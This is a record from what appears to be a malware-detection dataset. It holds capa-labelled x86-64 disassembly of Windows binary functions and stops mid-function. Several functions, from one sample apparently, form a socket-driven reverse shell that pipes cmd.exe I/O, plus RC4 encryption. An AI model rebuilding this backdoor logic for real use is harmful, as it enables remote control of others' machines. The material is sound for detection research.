joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005584
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa110]
mov eax, 0xa210
call fcn.180025560
sub rsp, rax
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rbp + 0xa100], rax
movups xmm0, xmmword [rdx]
lea rax, [rsp + 0x30]
mov rdi, rcx
movups xmm1, xmmword [rdx + 0x10]
mov ecx, 0x80
mov r8d, 0xa000
movups xmmword [rax], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm0
add rax, rcx
movups xmm0, xmmword [rdx + 0x70]
add rdx, rcx
lea rcx, [rbp + 0x100]
movups xmmword [rax - 0x10], xmm0
movups xmm1, xmmword [rdx]
movups xmm0, xmmword [rdx + 0x10]
movups xmmword [rax], xmm1
movups xmm1, xmmword [rdx + 0x20]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [rdx + 0x30]
movups xmmword [rax + 0x20], xmm1
movups xmm1, xmmword [rdx + 0x40]
xor edx, edx
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm1
call fcn.18000ce00
mov rax, qword [rsp + 0x30]
shr rax, 0x20
test eax, eax
jne 0x18000566a
lea rax, [rsp + 0x38]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180005653
xor r9d, r9d
lea rdx, [rsp + 0x38]
jmp 0x180005749
cmp dword [rsp + 0x34], 0x5001
jne 0x18000568f
lea rax, [rsp + 0x38]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x18000567d
mov r9d, 2
jmp 0x180005660
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x100
call fcn.18000ce00
mov r8d, dword [rsp + 0x34]
lea rdx, [rbp + 0x100]
mov rcx, qword [rdi + 0x258]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov r8d, dword [rsp + 0x34]
mov ebx, eax
cmp eax, r8d
jge 0x180005715
movsxd rcx, ebx
lea rdx, [rbp + 0x100]
add rdx, rcx
sub r8d, ebx
mov rcx, qword [rdi + 0x258]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, shutdown
mov esi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jg 0x180005709
mov rcx, rdi
call fcn.180004ce0
mov rcx, rdi
call fcn.180004c88
mov r8d, dword [rsp + 0x34]
add ebx, esi
cmp ebx, r8d
jl 0x1800056c8
mov dword [rsp + 0x20], r8d
lea rdx, [rdi + 0x248]
mov r8d, reloc.WS2_32.dll_recv
lea r9, [rbp + 0x100]
lea rcx, [rbp]
call fcn.180008240
mov r8d, dword [rsp + 0x34]
lea rdx, [rbp + 0x100]
mov r9d, 1
call fcn.180007360
mov rcx, qword [rbp + 0xa100]
xor rcx, rsp
call fcn.180009ba0
mov rbx, qword [rsp + 0xa240]
add rsp, 0xa210
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007360
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rdi, qword [0x180039fe8]
mov rax, rdx
test r9d, r9d
jne 0x180007402
lea rdx, [0x180030480]
mov rcx, rax
call fcn.180015278
mov qword [rdi], rax
test rax, rax
jne 0x180007440
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
lea rcx, [rsp + 0x30]
mov ebx, eax
lea r8d, [rdx + 0x32]
call fcn.18000ce00
mov r8d, ebx
lea rdx, [0x180030314]
lea rcx, [rsp + 0x30]
call fcn.180001130
lea rax, [rsp + 0x30]
or r9, 0xffffffffffffffff
inc r9
cmp byte [rax + r9], 0
jne 0x1800073d8
and dword [rsp + 0x28], 0
lea r8, [rsp + 0x30]
and qword [rsp + 0x20], 0
mov edx, 8
call fcn.180004f00
mov byte [rdi + 0x24], 0
jmp 0x180007440
cmp r9d, 1
jne 0x180007429
mov r9, qword [rdi]
test r9, r9
je 0x180007440
cmp byte [rdi + 0x24], 0
je 0x180007440
movsxd rdx, r8d
mov rcx, rax
mov r8d, 1
call fcn.1800155b4
jmp 0x180007440
cmp r9d, 2
jne 0x180007440
mov rcx, qword [rdi]
test rcx, rcx
je 0x180007440
call fcn.180015308
mov byte [rdi + 0x24], 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180009ba0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x18000745c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x4f90]
mov eax, 0x5090
call fcn.180025560
sub rsp, rax
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rbp + 0x4f80], rax
mov rdi, qword [0x180039fe8]
mov r14d, r8d
mov rsi, rdx
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1800074ab
call fcn.180015308
lea rdx, [0x180030484]
mov rcx, rsi
call fcn.180015278
mov qword [rdi + 8], rax
mov rbx, rax
test rax, rax
jne 0x180007516
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
lea rcx, [rsp + 0x48]
mov ebx, eax
lea r8d, [rdx + 0x32]
call fcn.18000ce00
mov r8d, ebx
lea rdx, [0x180030314]
lea rcx, [rsp + 0x48]
call fcn.180001130
lea rcx, [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1800074fb
mov r9, rax
lea r8, [rsp + 0x48]
mov edx, 8
jmp 0x180007617
xor eax, eax
mov byte [rsp + 0x30], 0
xor edx, edx
mov qword [rsp + 0x31], rax
mov r8d, 0x5000
mov qword [rsp + 0x39], rax
lea rcx, [rbp - 0x80]
mov word [rsp + 0x41], ax
mov byte [rsp + 0x43], al
call fcn.18000ce00
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.180016a54
mov rcx, qword [rdi + 8]
call fcn.1800167d8
mov r8d, eax
lea rdx, [0x180030538]
lea rcx, [rsp + 0x30]
call fcn.180001130
mov rcx, qword [rdi + 8]
xor r8d, r8d
mov edx, r14d
call fcn.180016a54
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x180007584
mov dword [rsp + 0x28], eax
xor r9d, r9d
lea rax, [rsp + 0x30]
mov r8, rsi
mov qword [rsp + 0x20], rax
lea r14d, [r9 + 7]
mov edx, r14d
call fcn.180004f00
jmp 0x1800075f3
mov r9, qword [rdi + 8]
lea rcx, [rbp - 0x80]
mov edx, 1
mov r8d, 0x5000
call fcn.180016030
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
and dword [rsp + 0x28], 0
lea r8, [rbp - 0x80]
and qword [rsp + 0x20], 0
mov r9d, ebx
mov edx, r14d
call fcn.180004f00
test al, al
je 0x18000765c
mov rcx, qword [rdi + 8]
call fcn.180016a5c
test eax, eax
je 0x1800075af
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x5001
mov r8, rsi
mov edx, r14d
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call fcn.180004f00
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180007635
call fcn.180015308
mov rcx, qword [rbp + 0x4f80]
xor rcx, rsp
call fcn.180009ba0
lea r11, [rsp + 0x5090]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rcx, qword [rdi + 8]
jmp 0x180007630
Function at 0x180007664
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1d0
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180007708
lea rdi, [0x18003a0c0]
mov rcx, rdi
call fcn.180004a88
test rax, rax
jne 0x1800076b8
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000769e
mov rcx, rdi
mov ebx, 3
call fcn.180004d6c
cmp al, 1
jne 0x1800076ee
mov rcx, rdi
call fcn.180004e30
cmp al, 1
je 0x180007729
mov ecx, 0x1d4c0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call fcn.180004c88
dec ebx
test ebx, ebx
jg 0x1800076c9
mov rcx, rdi
call fcn.180004a4c
mov rcx, rdi
call fcn.180004ce0
mov rcx, rdi
call fcn.180004c88
jmp 0x18000769e
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180009ba0
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x1d0
pop rdi
ret
lea rcx, [0x180038b20]
call fcn.180009818
mov rcx, rdi
call fcn.18000616c
mov rcx, rdi
call fcn.1800050e8
int3

Function at 0x180008240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x130
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r14d, r8d
mov r15, rdx
mov rsi, rcx
mov ebp, 0x100
xor ebx, ebx
lea rcx, [rsp + 0x20]
mov r8d, ebp
xor edx, edx
mov r12, r9
mov edi, ebx
call fcn.18000ce00
lea rax, [rsp + 0x20]
mov r10, rsi
sub r10, rax
lea r8, [rsp + 0x20]
mov r9d, ebx
lea r11d, [rbx + 1]
xor edx, edx
mov byte [r10 + r8], r9b
mov eax, r9d
add r9d, r11d
div r14d
mov al, byte [rdx + r15]
mov byte [r8], al
add r8, r11
cmp r9d, ebp
jl 0x1800082a6
lea r8, [rsp + 0x20]
mov rdx, rsi
sub r8, rsi
mov r15d, 0x800000ff
mov r14d, 0xffffff00
movsx eax, byte [r8 + rdx]
movzx r9d, byte [rdx]
add edi, eax
add edi, r9d
and edi, r15d
jge 0x1800082f7
sub edi, r11d
or edi, r14d
add edi, r11d
movsxd rcx, edi
mov al, byte [rcx + rsi]
mov byte [rdx], al
add rdx, r11
mov byte [rcx + rsi], r9b
sub rbp, r11
jne 0x1800082db
mov edx, ebx
cmp dword [rsp + 0x180], ebx
jbe 0x18000836f
mov r10d, dword [rsp + 0x180]
inc ebx
and ebx, r15d
jge 0x18000832e
sub ebx, r11d
or ebx, r14d
add ebx, r11d
movsxd r8, ebx
movzx r9d, byte [r8 + rsi]
add edx, r9d
and edx, r15d
jge 0x180008347
sub edx, r11d
or edx, r14d
add edx, r11d
movsxd rcx, edx
mov al, byte [rcx + rsi]
mov byte [r8 + rsi], al
mov byte [rcx + rsi], r9b
movzx ecx, byte [r8 + rsi]
add rcx, r9
movzx eax, cl
mov cl, byte [rax + rsi]
xor byte [r12], cl
add r12, r11
sub r10, r11
jne 0x18000831e
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.180009ba0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x18000839c
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x210
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov r15, rcx
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x104
call fcn.18000ce00
and qword [rsp + 0x58], 0
lea r8, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x50], 0x18
lea rdx, [r15 + 0x28]
mov dword [rsp + 0x60], 1
lea rcx, [r15 + 0x20]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, [r15 + 0x18]
lea rcx, [r15 + 0x10]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [r15 + 0x20]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [r15 + 0x18]
xor r8d, r8d
lea edi, [r8 + 1]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor eax, eax
lea ebx, [rdi + 0x67]
mov r8d, ebx
mov qword [rsp + 0x68], rax
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x78], rax
call fcn.18000ce00
mov rax, qword [r15 + 0x28]
lea rcx, [rbp - 0x10]
bts dword [rbp - 0x44], 8
mov edx, 0x104
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rax
mov rax, qword [r15 + 0x10]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x80], ebx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp - 0x10]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x18000849e
cdqe
lea rdx, [rbp - 0x10]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rbp + rax - 0x10], 0x646d635c
mov dword [rbp + rax - 0xc], 0x6578652e
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
movzx ecx, byte [0x180039ff0]
test eax, eax
mov eax, dword [rsp + 0x78]
cmovne ecx, edi
mov dword [r15 + 8], eax
mov byte [0x180039ff0], cl
mov al, dil
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.180009ba0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180008540
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov byte [0x180039ff0], 0
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x180008564
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x20], 0
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x180008578
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x28], 0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18000858c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x10], 0
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1800085a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x18], 0
mov r8d, dword [rbx + 8]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x1800085bf
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [0x180039ff0], 0
add rsp, 0x20
pop rbx
ret

Function at 0x1800085cc
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x70
mov qword [r11 - 0x40], 0xfffffffffffffffe
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbx, qword [0x180039ff8]
test r8d, r8d
je 0x180008676
cmp byte [0x180039ff0], 0
je 0x180008676
mov qword [r11 - 0x20], 0xf
and qword [r11 - 0x28], 0
mov byte [rsp + 0x40], 0
lea rcx, [r11 - 0x38]
call fcn.1800039b0
nop
lea rdx, [0x18003053c]
lea rcx, [rsp + 0x40]
call fcn.180003604
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x50]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180008665
mov rcx, rbx
call fcn.180008540
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x40]
call fcn.180003904
jmp 0x18000867e
mov rcx, rbx
call fcn.18000839c
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180009ba0
add rsp, 0x70
pop rbx
ret
Function at 0x1800087d4
Capabilities:
Read file on windows
Read pipe

Disassembly:
push rbp
lea rbp, [rsp - 0x2760]
mov eax, 0x2860
call fcn.180025560
sub rsp, rax
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x2870], rbx
mov qword [rsp + 0x2880], rsi
mov qword [rsp + 0x2888], rdi
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rbp + 0x2750], rax
mov rbx, rdx
mov qword [rsp + 0x48], rdx
and dword [rsp + 0x38], 0
mov rsi, qword [0x180039ff8]
and qword [rdx + 0x10], 0
mov qword [rdx + 0x18], shutdown
and qword [rdx + 0x10], 0
cmp qword [rdx + 0x18], 0x10
jb 0x18000884f
mov rax, qword [rdx]
jmp 0x180008852
mov rax, rbx
mov byte [rax], 0
lea rdx, [0x180030330]
mov rcx, rbx
call fcn.1800039b0
mov dword [rsp + 0x38], 1
and dword [rsp + 0x30], 0
and dword [rsp + 0x34], 0
xor edx, edx
mov r8d, 0x2800
lea rcx, [rsp + 0x50]
call fcn.18000ce00
and qword [rsp + 0x28], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [rsp + 0x30]
test edi, edi
je 0x180008888
jle 0x1800088f4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, 0x2800
lea rdx, [rsp + 0x50]
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.180003604
sub edi, dword [rsp + 0x34]
test edi, edi
jg 0x1800088bf
mov rax, rbx
mov rcx, qword [rbp + 0x2750]
xor rcx, rsp
call fcn.180009ba0
lea r11, [rsp + 0x2860]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180009424
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
and dword [rsp + 0x20], 0
lea rcx, str.kernel32
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.GetNativeSystemInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x28]
test rax, rax
je 0x18000945d
call rax
jmp 0x180009463
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [rsp + 0x28], 9
je 0x18000947a
cmp word [rsp + 0x28], 6
lea rdx, [0x1800306d8]
jne 0x180009481
lea rdx, [0x1800306d4]
mov qword [rbx + 0x18], shutdown
mov rcx, rbx
and qword [rbx + 0x10], 0
mov byte [rbx], 0
call fcn.1800039b0
mov rax, rbx
add rsp, 0x60
pop rbx
ret
Function at 0x18001d174
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x18001d014
call fcn.18001839c
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.18001509c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18001cffc
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x18001cffc
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x18001d046
lock or dword [rax + 0x14], 0x10
jmp 0x18001cffc
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x18001d063
mov rcx, qword [rbp + 0x10]
call fcn.18002227c
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18001a348
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.18001ca4c
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x18001d0ba
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x18001cffc
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x18001d126
mov rcx, qword [rbp + 0x10]
call fcn.18001a348
cmp eax, 0xffffffff
je 0x18001d10d
mov rcx, qword [rbp + 0x10]
call fcn.18001a348
cmp eax, 0xfffffffe
je 0x18001d10d
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.18001a348
movsxd rdi, eax
lea rsi, [0x180039680]
mov rcx, rbx
sar rdi, 6
call fcn.18001a348
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x18001d114
lea rax, [0x1800382d0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18001d126
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x18001d15c
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x18001d158
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x18001d158
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x18001cfff
jmp 0x18001cfcc
Function at 0x1400043f0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140046088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x14000459a
cmp byte [rcx + 0x72], 0
je 0x14000459a
mov rax, qword [rcx]
mov ebx, 0xffff
mov edx, ebx
call qword [rax + 0x18]
cmp bx, ax
jne 0x14000444e
xor al, al
jmp 0x14000459c
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], 0
mov byte [rbp - 0x30], 0
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call fcn.140004140
nop
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
nop dword [rax + rax]
lea rdx, [rbp - 0x30]
cmp r9, 0x10
cmovae rdx, rcx
lea r8, [rbp - 0x30]
cmovae r8, rcx
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
call qword [r10 + 0x40]
test eax, eax
je 0x1400044be
sub eax, 1
jne 0x140004532
jmp 0x1400044c2
mov byte [rdi + 0x72], 0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
cmp r9, 0x10
cmovae rax, rcx
mov rbx, qword [rbp - 0x38]
sub rbx, rax
je 0x14000450f
lea rax, [rbp - 0x30]
cmp r9, 0x10
cmovae rax, rcx
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.140011ba8
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
cmp rbx, rax
jne 0x14000453f
cmp byte [rdi + 0x72], 0
je 0x140004543
test rbx, rbx
jne 0x140004480
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call fcn.1400042d0
jmp 0x140004473
sub eax, 2
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
je 0x140004543
xor bl, bl
jmp 0x140004545
mov bl, 1
cmp r9, 0x10
jb 0x140004595
lea rax, [r9 + 1]
cmp rax, 0x1000
jb 0x140004590
test byte [rbp - 0x30], 0x1f
je 0x140004563
call fcn.140011658
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140004572
call fcn.140011658
int3
sub rcx, rax
cmp rcx, 8
jae 0x140004581
call fcn.140011658
int3
cmp rcx, 0x27
jbe 0x14000458d
call fcn.140011658
int3
mov rcx, rax
call fcn.14000bffc
movzx eax, bl
jmp 0x14000459c
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000ba00
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006760
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x160
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x140046088]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rdx
mov rbx, qword [0x140048ba0]
mov eax, 0xdc
mov word [rsp + 0xb4], ax
mov qword [rsp + 0x60], 7
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov word [rsp + 0x48], r14w
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0xffff
lea r8, str.Model
lea rdx, str.SOFTWAREOEMQuick_Access
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
lea rbp, str.Generic
test eax, eax
jne 0x140006829
lea r9, [rsp + 0x48]
lea r8, str.Model
lea rdx, str.SOFTWAREOEMQuick_Access
call fcn.140008bb0
test eax, eax
jne 0x140006829
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r8, qword [rsp + 0x48]
jmp 0x14000682c
mov r8, rbp
lea rdi, [rbx + 8]
mov edx, 0x100
mov rcx, rdi
call fcn.140005a20
lea r8, [rsp + 0x70]
or edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
movzx eax, word [rsp + 0x116]
cmp eax, 0x78
jae 0x140006863
lea r8, [0x14003e480]
jmp 0x1400068d2
cmp eax, 0x90
jae 0x140006873
lea r8, [0x14003e488]
jmp 0x1400068d2
cmp eax, 0xc0
jae 0x140006883
lea r8, [0x14003e490]
jmp 0x1400068d2
cmp eax, 0xf0
jae 0x140006893
lea r8, [0x14003e498]
jmp 0x1400068d2
cmp eax, 0x120
jae 0x1400068bd
mov rcx, r14
nop dword [rax]
movzx eax, word [rdi + rcx*2]
inc rcx
cmp ax, word [rbp + rcx*2 - 2]
jne 0x1400068b4
cmp rcx, 8
jne 0x1400068a0
lea r8, [0x14003e4a0]
jmp 0x1400068d2
cmp eax, 0x150
lea r8, [0x14003e4a8]
jb 0x1400068d2
lea r8, [0x14003e4b0]
mov edx, 0x100
lea rcx, [rbx + 0x208]
call fcn.1400157d0
lea rdx, str.Predator
or rcx, 0xffffffffffffffff
nop
movzx eax, word [rdi + rcx*2 + 2]
cmp ax, word [rdx + rcx*2 + 2]
jne 0x14000691e
add rcx, 2
cmp rcx, 9
je 0x140006912
movzx eax, word [rdi + rcx*2]
cmp ax, word [rdx + rcx*2]
jne 0x14000691e
jmp 0x1400068f0
mov dword [rbx + 0x428], 1
jmp 0x140006925
mov dword [rbx + 0x428], r14d
mov dword [rbx + 0x414], 0x80
mov dword [rbx + 0x418], 0x80
mov qword [rsp + 0x20], r14
lea r9, [0x1400071a0]
xor r8d, r8d
lea edx, [r8 + 0x67]
mov rcx, rsi
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rbx + 0x408], rax
mov dword [rbx + 0x410], 0x1ff0000
mov r8, qword [rsp + 0x60]
cmp r8, 8
jb 0x140006983
inc r8
mov rdx, qword [rsp + 0x48]
